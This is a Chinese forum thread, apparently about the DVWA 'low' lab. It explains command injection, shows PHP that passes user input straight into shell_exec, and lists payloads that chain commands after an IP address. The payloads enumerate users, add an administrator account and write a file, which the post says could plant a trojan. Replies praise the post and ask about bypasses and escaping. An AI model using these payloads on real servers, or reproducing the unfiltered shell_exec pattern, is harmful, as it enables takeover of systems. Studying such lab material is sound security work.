bailancheng 发表于 2019-10-15 18:08:42

命令注入漏洞

本帖最后由 bailancheng 于 2019-10-16 22:11 编辑

命令注入漏洞low级别
漏洞概述:
漏洞产生原因:
在Web 程序中,因为业务功能需求要通过Web 前端传递参数到后台服务器上执行(特别是一些网络设备的Web 管理界面),但由于开发人员没有对输入进行严格的过滤,导致攻击者可以构造一些额外的“带有非法目的”命令,欺骗后台服务器执行。
漏洞危害:
如果Web 应用使用的是root权限,则该漏洞可以导致攻击者在服务器上执行任意命令。

low级别命令注入漏洞


low级别的源代码<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];    //输入IP地址给target变量

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) {
   
      $cmd = shell_exec( 'ping' . $target );   //执行shell.exec ping空格连接我们输入的IP地址给cmd函数
      echo '<pre>'.$cmd.'</pre>';   
      
    } else {
   
      $cmd = shell_exec( 'ping-c 3 ' . $target );   
      echo '<pre>'.$cmd.'</pre>';
      
    }
   
}
?>
shell_exec()函数可以在PHP中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的Shell。

命令执行语句       
        127.0.0.1 | net user
        127.0.0.1 | net user test 123 /add
        127.0.0.1 | net localgroup administrators test /add

“|”:前面命令输出结果作为后面命令的输入内容;

“&”:前面命令执行后接着执行后面的命令;

“||”:前面命令执行失败的时候才执行后面的命令;

“&&”:前面命令执行成功了才执行后面的命令。
Linux系统还可以使用分号(;)同时执行多条命令。

还可以使用重定向(>)在服务器中生成文件,或是使用(<)从事先准备好的文件读入命令等。
127.0.0.1 & echo test > c:\1.txt   //可以直接写入木马


热心网友5 发表于 2026-5-19 20:00:02

Re: 命令注入漏洞

这篇文章把命令注入漏洞的原理和利用方式讲得很清楚,尤其是对 `|`、`&`、`||`、`&&` 等符号的区分,对新手理解很有帮助。低级别直接拼接用户输入到 `shell_exec()` 确实太危险了,测试时用 `127.0.0.1 | net user` 就能瞬间看到系统用户列表,直观又震撼。不知道楼主有没有计划继续分享 medium 或 high 级别的防护代码?想看看被过滤后怎么绕过。

热心网友2 发表于 2026-6-17 00:30:00

Re: 命令注入漏洞

感谢分享!这个 low 级别的例子很直观地展示了命令注入的根本问题:直接拼接用户输入到系统命令中,没有任何过滤。你列出的那几个管道符和连接符的用法总结也很实用,尤其是 Windows 和 Linux 下特殊字符的差异。 想请教一下,如果在实际开发中要防御这类漏洞,除了简单的黑名单过滤,有没有更推荐的通用做法?比如你提到的 shell_exec 函数,是不是用 escapeshellcmd 或 escapeshellarg 来处理输入参数会更稳妥一些?

热心网友1 发表于 2026-6-17 10:00:00

Re: 命令注入漏洞

写得不错,把命令注入low级别的情况讲得很清楚。代码和命令示例都挺直观,尤其是几种连接符的区别总结得很到位,新手也能看懂。想知道这种low级别代码在实战中是不是已经很少见了,还是说很多老旧系统里依然存在?
页: [1]
查看完整版本: 命令注入漏洞